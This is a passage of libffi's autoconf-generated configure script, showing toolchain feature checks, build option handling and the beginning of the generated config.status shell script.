"$as_me:${as_lineno-$LINENO}: checking assembler supports pc related relocs" >&5 $as_echo_n "checking assembler supports pc related relocs... " >&6; } if test "${libffi_cv_as_x86_pcrel+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_x86_pcrel=no echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s if $CC $CFLAGS -c conftest.s > /dev/null; then libffi_cv_as_x86_pcrel=yes fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_x86_pcrel" >&5 $as_echo "$libffi_cv_as_x86_pcrel" >&6; } if test "x$libffi_cv_as_x86_pcrel" = xyes; then $as_echo "#define HAVE_AS_X86_PCREL 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler .ascii pseudo-op support" >&5 $as_echo_n "checking assembler .ascii pseudo-op support... " >&6; } if test "${libffi_cv_as_ascii_pseudo_op+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_ascii_pseudo_op=unknown # Check if we have .ascii cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ asm (".ascii \"string\""); int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : libffi_cv_as_ascii_pseudo_op=yes else libffi_cv_as_ascii_pseudo_op=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_ascii_pseudo_op" >&5 $as_echo "$libffi_cv_as_ascii_pseudo_op" >&6; } if test "x$libffi_cv_as_ascii_pseudo_op" = xyes; then $as_echo "#define HAVE_AS_ASCII_PSEUDO_OP 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler .string pseudo-op support" >&5 $as_echo_n "checking assembler .string pseudo-op support... " >&6; } if test "${libffi_cv_as_string_pseudo_op+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_string_pseudo_op=unknown # Check if we have .string cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ asm (".string \"string\""); int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : libffi_cv_as_string_pseudo_op=yes else libffi_cv_as_string_pseudo_op=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_string_pseudo_op" >&5 $as_echo "$libffi_cv_as_string_pseudo_op" >&6; } if test "x$libffi_cv_as_string_pseudo_op" = xyes; then $as_echo "#define HAVE_AS_STRING_PSEUDO_OP 1" >>confdefs.h fi fi if test x$TARGET = xX86_WIN64; then { $as_echo "$as_me:$LINENO: checking for _ prefix in compiled symbols" >&5 $as_echo_n "checking for _ prefix in compiled symbols... " >&6; } if test "${lt_cv_sys_symbol_underscore+set}" = set; then $as_echo_n "(cached) " >&6 else lt_cv_sys_symbol_underscore=no cat > conftest.$ac_ext <<_LT_EOF void nm_test_func(){} int main(){nm_test_func;return 0;} _LT_EOF if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then # Now try to grab the symbols. ac_nlist=conftest.nm if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist\"") >&5 (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist) 2>&5 ac_status=$? $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && test -s "$ac_nlist"; then # See whether the symbols have a leading underscore. if grep '^. _nm_test_func' "$ac_nlist" >/dev/null; then lt_cv_sys_symbol_underscore=yes else if grep '^. nm_test_func ' "$ac_nlist" >/dev/null; then : else echo "configure: cannot find nm_test_func in $ac_nlist" >&5 fi fi else echo "configure: cannot run $lt_cv_sys_global_symbol_pipe" >&5 fi else echo "configure: failed program was:" >&5 cat conftest.c >&5 fi rm -rf conftest* fi { $as_echo "$as_me:$LINENO: result: $lt_cv_sys_symbol_underscore" >&5 $as_echo "$lt_cv_sys_symbol_underscore" >&6; } sys_symbol_underscore=$lt_cv_sys_symbol_underscore if test "x$sys_symbol_underscore" = xyes; then cat >>confdefs.h <<\_ACEOF #define SYMBOL_UNDERSCORE 1 _ACEOF fi fi case "$target" in *-apple-darwin1* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) $as_echo "#define FFI_MMAP_EXEC_WRIT 1" >>confdefs.h ;; esac if test x$TARGET = xX86_64; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking assembler supports unwind section type" >&5 $as_echo_n "checking assembler supports unwind section type... " >&6; } if test "${libffi_cv_as_x86_64_unwind_section_type+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_as_x86_64_unwind_section_type=yes echo '.section .eh_frame,"a",@unwind' > conftest.s if $CC $CFLAGS -c conftest.s 2>&1 | grep -i warning > /dev/null; then libffi_cv_as_x86_64_unwind_section_type=no fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_as_x86_64_unwind_section_type" >&5 $as_echo "$libffi_cv_as_x86_64_unwind_section_type" >&6; } if test "x$libffi_cv_as_x86_64_unwind_section_type" = xyes; then $as_echo "#define HAVE_AS_X86_64_UNWIND_SECTION_TYPE 1" >>confdefs.h fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether .eh_frame section should be read-only" >&5 $as_echo_n "checking whether .eh_frame section should be read-only... " >&6; } if test "${libffi_cv_ro_eh_frame+set}" = set; then : $as_echo_n "(cached) " >&6 else libffi_cv_ro_eh_frame=no echo 'extern void foo (void); void bar (void) { foo (); foo (); }' > conftest.c if $CC $CFLAGS -S -fpic -fexceptions -o conftest.s conftest.c > /dev/null 2>&1; then if grep '.section.*eh_frame.*"a"' conftest.s > /dev/null; then libffi_cv_ro_eh_frame=yes elif grep '.section.*eh_frame.*#alloc' conftest.c \ | grep -v '#write' > /dev/null; then libffi_cv_ro_eh_frame=yes fi fi rm -f conftest.* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_ro_eh_frame" >&5 $as_echo "$libffi_cv_ro_eh_frame" >&6; } if test "x$libffi_cv_ro_eh_frame" = xyes; then $as_echo "#define HAVE_RO_EH_FRAME 1" >>confdefs.h $as_echo "#define EH_FRAME_FLAGS \"a\"" >>confdefs.h else $as_echo "#define EH_FRAME_FLAGS \"aw\"" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for __attribute__((visibility(\"hidden\")))" >&5 $as_echo_n "checking for __attribute__((visibility(\"hidden\")))... " >&6; } if test "${libffi_cv_hidden_visibility_attribute+set}" = set; then : $as_echo_n "(cached) " >&6 else echo 'int __attribute__ ((visibility ("hidden"))) foo (void) { return 1; }' > conftest.c libffi_cv_hidden_visibility_attribute=no if { ac_try='${CC-cc} -Werror -S conftest.c -o conftest.s 1>&5' { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_try\""; } >&5 (eval $ac_try) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then if grep '\.hidden.*foo' conftest.s >/dev/null; then libffi_cv_hidden_visibility_attribute=yes fi fi rm -f conftest.* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libffi_cv_hidden_visibility_attribute" >&5 $as_echo "$libffi_cv_hidden_visibility_attribute" >&6; } if test $libffi_cv_hidden_visibility_attribute = yes; then $as_echo "#define HAVE_HIDDEN_VISIBILITY_ATTRIBUTE 1" >>confdefs.h fi # Check whether --enable-debug was given. if test "${enable_debug+set}" = set; then : enableval=$enable_debug; if test "$enable_debug" = "yes"; then $as_echo "#define FFI_DEBUG 1" >>confdefs.h fi fi if test "$enable_debug" = "yes"; then FFI_DEBUG_TRUE= FFI_DEBUG_FALSE='#' else FFI_DEBUG_TRUE='#' FFI_DEBUG_FALSE= fi # Check whether --enable-structs was given. if test "${enable_structs+set}" = set; then : enableval=$enable_structs; if test "$enable_structs" = "no"; then $as_echo "#define FFI_NO_STRUCTS 1" >>confdefs.h fi fi # Check whether --enable-raw-api was given. if test "${enable_raw_api+set}" = set; then : enableval=$enable_raw_api; if test "$enable_raw_api" = "no"; then $as_echo "#define FFI_NO_RAW_API 1" >>confdefs.h fi fi # Check whether --enable-purify-safety was given. if test "${enable_purify_safety+set}" = set; then : enableval=$enable_purify_safety; if test "$enable_purify_safety" = "yes"; then $as_echo "#define USING_PURIFY 1" >>confdefs.h fi fi if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then toolexecdir='$(exec_prefix)/$(target_alias)' toolexeclibdir='$(toolexecdir)/lib' else toolexecdir='$(libdir)/gcc-lib/$(target_alias)' toolexeclibdir='$(libdir)' fi multi_os_directory=`$CC -print-multi-os-directory` case $multi_os_directory in .) ;; # Avoid trailing /. *) toolexeclibdir=$toolexeclibdir/$multi_os_directory ;; esac if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" else multilib_arg= fi ac_config_commands="$ac_config_commands include" ac_config_commands="$ac_config_commands src" ac_config_links="$ac_config_links include/ffitarget.h:src/$TARGETDIR/ffitarget.h" ac_config_files="$ac_config_files include/Makefile include/ffi.h Makefile testsuite/Makefile man/Makefile libffi.pc" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, we kill variables containing newlines. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. ( for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space=' '; set) 2>&1` in #( *${as_nl}ac_space=\ *) # `set' does not quote correctly, so add quotes: double-quote # substitution turns \\\\ into \\, and sed turns \\ into \. sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; #( *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) | sed ' /^ac_cv_env_/b end t clear :clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ :end' >>confcache if diff "$cache_file" confcache >/dev/null 2>&1; then :; else if test -w "$cache_file"; then test "x$cache_file" != "x/dev/null" && { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 $as_echo "$as_me: updating cache $cache_file" >&6;} cat confcache >$cache_file else { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 $as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' DEFS=-DHAVE_CONFIG_H ac_libobjs= ac_ltlibobjs= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ac_i=`$as_echo "$ac_i" | sed "$ac_script"` # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR # will be set to the directory where LIBOBJS objects are built. as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs if test -n "$EXEEXT"; then am__EXEEXT_TRUE= am__EXEEXT_FALSE='#' else am__EXEEXT_TRUE='#' am__EXEEXT_FALSE= fi if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then as_fn_error "conditional \"AMDEP\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then as_fn_error "conditional \"am__fastdepCC\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${am__fastdepCCAS_TRUE}" && test -z "${am__fastdepCCAS_FALSE}"; then as_fn_error "conditional \"am__fastdepCCAS\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then as_fn_error "conditional \"MAINTAINER_MODE\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${TESTSUBDIR_TRUE}" && test -z "${TESTSUBDIR_FALSE}"; then as_fn_error "conditional \"TESTSUBDIR\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${MIPS_TRUE}" && test -z "${MIPS_FALSE}"; then as_fn_error "conditional \"MIPS\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${SPARC_TRUE}" && test -z "${SPARC_FALSE}"; then as_fn_error "conditional \"SPARC\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_TRUE}" && test -z "${X86_FALSE}"; then as_fn_error "conditional \"X86\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_FREEBSD_TRUE}" && test -z "${X86_FREEBSD_FALSE}"; then as_fn_error "conditional \"X86_FREEBSD\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_WIN32_TRUE}" && test -z "${X86_WIN32_FALSE}"; then as_fn_error "conditional \"X86_WIN32\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_WIN64_TRUE}" && test -z "${X86_WIN64_FALSE}"; then as_fn_error "conditional \"X86_WIN64\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_DARWIN_TRUE}" && test -z "${X86_DARWIN_FALSE}"; then as_fn_error "conditional \"X86_DARWIN\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${ALPHA_TRUE}" && test -z "${ALPHA_FALSE}"; then as_fn_error "conditional \"ALPHA\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${IA64_TRUE}" && test -z "${IA64_FALSE}"; then as_fn_error "conditional \"IA64\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${M32R_TRUE}" && test -z "${M32R_FALSE}"; then as_fn_error "conditional \"M32R\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${M68K_TRUE}" && test -z "${M68K_FALSE}"; then as_fn_error "conditional \"M68K\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${MOXIE_TRUE}" && test -z "${MOXIE_FALSE}"; then as_fn_error "conditional \"MOXIE\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${POWERPC_TRUE}" && test -z "${POWERPC_FALSE}"; then as_fn_error "conditional \"POWERPC\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${POWERPC_AIX_TRUE}" && test -z "${POWERPC_AIX_FALSE}"; then as_fn_error "conditional \"POWERPC_AIX\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${POWERPC_DARWIN_TRUE}" && test -z "${POWERPC_DARWIN_FALSE}"; then as_fn_error "conditional \"POWERPC_DARWIN\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${POWERPC_FREEBSD_TRUE}" && test -z "${POWERPC_FREEBSD_FALSE}"; then as_fn_error "conditional \"POWERPC_FREEBSD\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${ARM_TRUE}" && test -z "${ARM_FALSE}"; then as_fn_error "conditional \"ARM\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${AVR32_TRUE}" && test -z "${AVR32_FALSE}"; then as_fn_error "conditional \"AVR32\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${LIBFFI_CRIS_TRUE}" && test -z "${LIBFFI_CRIS_FALSE}"; then as_fn_error "conditional \"LIBFFI_CRIS\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${FRV_TRUE}" && test -z "${FRV_FALSE}"; then as_fn_error "conditional \"FRV\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${S390_TRUE}" && test -z "${S390_FALSE}"; then as_fn_error "conditional \"S390\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${X86_64_TRUE}" && test -z "${X86_64_FALSE}"; then as_fn_error "conditional \"X86_64\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${SH_TRUE}" && test -z "${SH_FALSE}"; then as_fn_error "conditional \"SH\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${SH64_TRUE}" && test -z "${SH64_FALSE}"; then as_fn_error "conditional \"SH64\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${PA_LINUX_TRUE}" && test -z "${PA_LINUX_FALSE}"; then as_fn_error "conditional \"PA_LINUX\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${PA_HPUX_TRUE}" && test -z "${PA_HPUX_FALSE}"; then as_fn_error "conditional \"PA_HPUX\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${PA64_HPUX_TRUE}" && test -z "${PA64_HPUX_FALSE}"; then as_fn_error "conditional \"PA64_HPUX\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi if test -z "${FFI_DEBUG_TRUE}" && test -z "${FFI_DEBUG_FALSE}"; then as_fn_error "conditional \"FFI_DEBUG\" was never defined. Usually this means the macro was only invoked conditionally." "$LINENO" 5 fi : ${CONFIG_STATUS=./config.status} ac_write_fail=0 ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 $as_echo "$as_me: creating $CONFIG_STATUS" >&6;} as_write_fail=0 cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} export SHELL _ASEOF cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # as_fn_error ERROR [LINENO LOG_FD] # --------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with status $?, using 1 if that was 0. as_fn_error () { as_status=$?; test $as_status -eq 0 && as_status=1 if test "$3"; then as_lineno=${as_lineno-"$2"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $1" >&$3 fi $as_echo "$as_me: error: $1" >&2 as_fn_exit $as_status } # as_fn_error # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error "cannot create directory $as_dir" } # as_fn_mkdir_p if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" exec 6>&1 ## ----------------------------------- ## ## Main body of $CONFIG_STATUS script. ## ## ----------------------------------- ## _ASEOF test $as_write_fail = 0 && chmod +x $CONFIG_STATUS || ac_write_fail=1 cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # Save the log message, to keep $0 and so on meaningful, and to # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" This file was extended by libffi $as_me 3.0.10rc0, which was generated by GNU Autoconf 2.65. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS CONFIG_LINKS = $CONFIG_LINKS 